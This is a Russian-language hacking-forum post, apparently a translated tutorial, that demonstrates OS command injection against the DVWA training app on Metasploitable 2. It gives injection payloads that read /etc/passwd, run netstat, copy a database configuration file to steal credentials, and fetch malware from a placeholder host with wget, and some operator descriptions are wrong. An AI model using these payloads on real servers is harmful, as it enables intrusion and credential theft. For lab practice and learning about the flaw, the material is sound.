Взлом веб-приложений, часть 14: Внедрение команд ОС

  • Автор темы Автор темы LeSh1y777
  • Дата начала Дата начала

LeSh1y777

Пользователь
Регистрация
25/9/25
Сообщения
5,682
Репутация
49
Лайки
152
Депозит
-8.95$
Добро пожаловать обратно, мои начинающие кибервоины!

В этом руководстве по взлому веб-приложений мы рассмотрим внедрение команд операционной системы. Эта уязвимость веб-сайта позволяет злоумышленнику внедрять и выполнять команды операционной системы на базовом сервере, что зачастую приводит к полной компрометации сервера и всех его данных. Внедрив команды операционной системы на сервер, злоумышленник может скомпрометировать другие элементы сети организации.

Обычно это происходит, когда приложение предоставляет пользователю определённые функции, связанные с системными командами. Если приложение не обеспечивает надлежащую очистку входных данных, злоумышленник может отправлять операционной системе вредоносные команды, которые могут включать открытие командной оболочки или загрузку вредоносного ПО.

6a4a49_6eefaa9188514308ac03625e5611227c~mv2.png


Давайте воспользуемся приложением DVWA на Metasploitable 2 для демонстрации этой атаки.

Шаг №1 : Запустите Kali

Давайте сначала запустим Kali и откроем терминал.

6a4a49_12ac7333426f4c9fb1f6df5ca62550cf~mv2.png


Шаг №2: Metasploitable с DVWA

Затем запустите систему Metasploitable 2. Откройте браузер в Kali и перейдите по IP-адресу системы Metasploitable или DVWA, например, http://192.168.0.157/dvwa (ваш IP-адрес, вероятно, будет другим). Откроется экран входа в DVWA. Учётные данные: «admin» и «password».

6a4a49_3e0a62a1788e42d29fdc69f8d710f990~mv2.png


Затем перейдите на вкладку «Безопасность DVWA» в левом нижнем углу и нажмите кнопку . Откроется страница «Безопасность DVWA». Установите уровень безопасности на «Низкий».

6a4a49_9610dbb3634142c49b9916821d2ece5c~mv2.png


Теперь нажмите на вкладку «Выполнение команды» в левом верхнем углу экрана. Вы увидите экран, аналогичный показанному ниже.

6a4a49_5acd4753eb6044ecbf554c9e340f18b8~mv2.png


Обратите внимание, что это приложение позволяет отправлять пинг. Введите IP-адрес и нажмите «Отправить». Вы увидите ответ, выделенный красным цветом.

Очевидно, что это приложение берет ваш IP-адрес, добавляет его к команде ping и отправляет запрос ICMP Echo с сервера.

Поскольку это окно позволяет выполнить одну команду операционной системы, в нём может быть возможно выполнение нескольких команд. В большинстве операционных систем команды можно завершать точкой с запятой. Если добавить точку с запятой после IP-адреса, можно добавить ещё одну команду и выполнить обе.

Давайте попробуем команду Linux whoami.

192.168.0.1; whoami


6a4a49_10f1122257c74f00b48e15efdf3d4637~mv2.png


Как мы можем видеть выше, команда ping была выполнена, а затем был выполнен whoami , показав, что пользователь — «www-data».

Поскольку у нас нет прав root, мы не можем получить файл /etc/shadow, но можем получить файл /etc/passwd. Можно добавить команду cat /etc/passwd после IP-адреса, и если она выполнится, мы сможем получить этот файл, содержащий все имена пользователей и учётные записи.

6a4a49_e65d13afb3f84515acb954d25fa7bc55~mv2.png


Успех! Хотя у нас нет паролей к учётным записям, у нас есть все учётные записи в системе.

Шаг №3: Операторы команд

Таким образом, мы можем объединять команды с другими операторами, а также с точкой с запятой. Вот несколько примеров:

Точка с запятой — наиболее распространённый метасимвол, используемый для проверки уязвимости инъекции. Оболочка выполнит все команды последовательно, разделённые точкой с запятой.

& Разделяет несколько команд в одной командной строке. Сначала выполняется первая команда, затем вторая.

&& Выполняет следующую команду && только в том случае, если предыдущая команда выполнена успешно.

|| (windows) Выполняет следующую команду || только в случае сбоя предыдущей команды. Выполняет первую команду, а затем вторую, только если первая команда не была выполнена успешно.

|| (Linux) Перенаправляет стандартный вывод первой команды на стандартный ввод второй команды



Следующий разделитель команд работает только в системах на базе Unix:

Перевод строки (0x0a или n)

Шаг №4: Выполнение команды с другими операторами

Давайте посмотрим, можем ли мы внедрить другие команды, используя другие операторы. Например, мы могли бы использовать двойной амперсанд (&&) для запуска команды ping , а затем команды netstat . Если первая команда выполнена успешно, то будет выполнена и вторая. Если первая команда не будет выполнена, вторая команда не выполнится.

192.168.0.1 && netstat

6a4a49_b7e5ed3cfe2341a1a5c5670b5668b15a~mv2.png


Отлично! Двойной амперсанд (&&) работает в этой системе. Не все операторы будут работать во всех системах, поэтому попробуйте другие операторы и посмотрите, какие из них работают.

Шаг №5: Слепое внедрение команд ОС

В приведённых выше примерах результаты выполнения команд были возвращены нам в виде HTTP-ответа и видны в нашем браузере. Возможно, результаты вашей команды не генерируют HTTP-ответ и не отображаются в вашем браузере. В современных системах это встречается чаще, чем нет. Мы всё ещё можем попытаться внедрить команду ОС, не видя результатов в браузере. Это называется слепой инъекцией команд ОС.

Например, в нашем последнем примере внедрения команды ОС мы запустили netstat , и результаты были отображены в браузере. Если результаты не отображались в браузере, мы можем перенаправить вывод в файл и затем отобразить его. Например, мы можем ввести:

192.168.0.1 && netstat > netstat.txt

Это направит вывод команды netstat в файл netstat.txt и сохранит его в текущем каталоге на сервере. Мы можем отобразить это содержимое, указав браузеру этот каталог и файл, например:

192.168.0.157/dvwa/vulnerabilities/exec/netstat.txt

6a4a49_e8820e1c20b1421c9a8536f7696455a0~mv2.png


Возможно, более интересным было бы получить имя пользователя и пароль к базе данных. Поскольку стек LAMP включает базу данных MySQL, PHP должен иметь учётные данные для подключения к ней. Они хранятся на этом сервере по адресу /var/www/dvwa/config/config.inc.php . Если мы сможем прочитать этот файл, мы, возможно, сможем получить имя пользователя и пароль к базе данных.

Давайте объединим команду с IP-адресом, как указано выше, но на этот раз давайте получим файл конфигурации и перенаправим его в файл dbconfig следующим образом:

192.168.0.157; cat /var/www/dvwa/config/config.inc.php > dbconfig

6a4a49_6221840259554289a62c8b00299ab01a~mv2.png


Теперь мы можем просмотреть этот файл с помощью нашего браузера, перейдя по ссылке:

192.168.0.157/dvwa/vulnerabilities/exec/dbconfig

6a4a49_31ae2d91c67740d6b9ab9bc22fb4da31~mv2.png


Как видите выше, нам удалось найти и отобразить учётные данные базы данных. Теперь мы потенциально можем войти в их базу данных и получить все её содержимое!

Кроме того, мы можем использовать внеполосный метод, чтобы определить, была ли выполнена команда, поскольку мы не видим никаких результатов в браузере. Например, мы могли бы завершить строку команд командой nslookup сайта и проверить, был ли выполнен поиск на сервере имён. Это позволит убедиться, что все команды были выполнены.

6a4a49_10ffc9e137d540258fc1ad8b2569bd71~mv2.png


Наконец, можно перенаправить сервер на сайт, содержащий вредоносное программное обеспечение, такое как:

192.168.0.1 %% wget https://malwaresite.com

Если бы эта команда была успешно выполнена, ее можно было бы использовать для перенаправления сервера на https://malwaresite.com , где он загрузил бы вредоносное ПО в операционную систему, тем самым поставив под угрозу сервер и, возможно, всю сеть.

Краткое содержание

Внедрение команд операционной системы (ОС) — это эксплойт веб-сайтов, позволяющий выполнять команды на своих сайтах без надлежащей очистки. Надлежащая очистка включает в себя внесение в чёрный список любого из перечисленных выше операторов и, возможно, даже в белый список разрешённых команд.
 
Назад
Сверху Снизу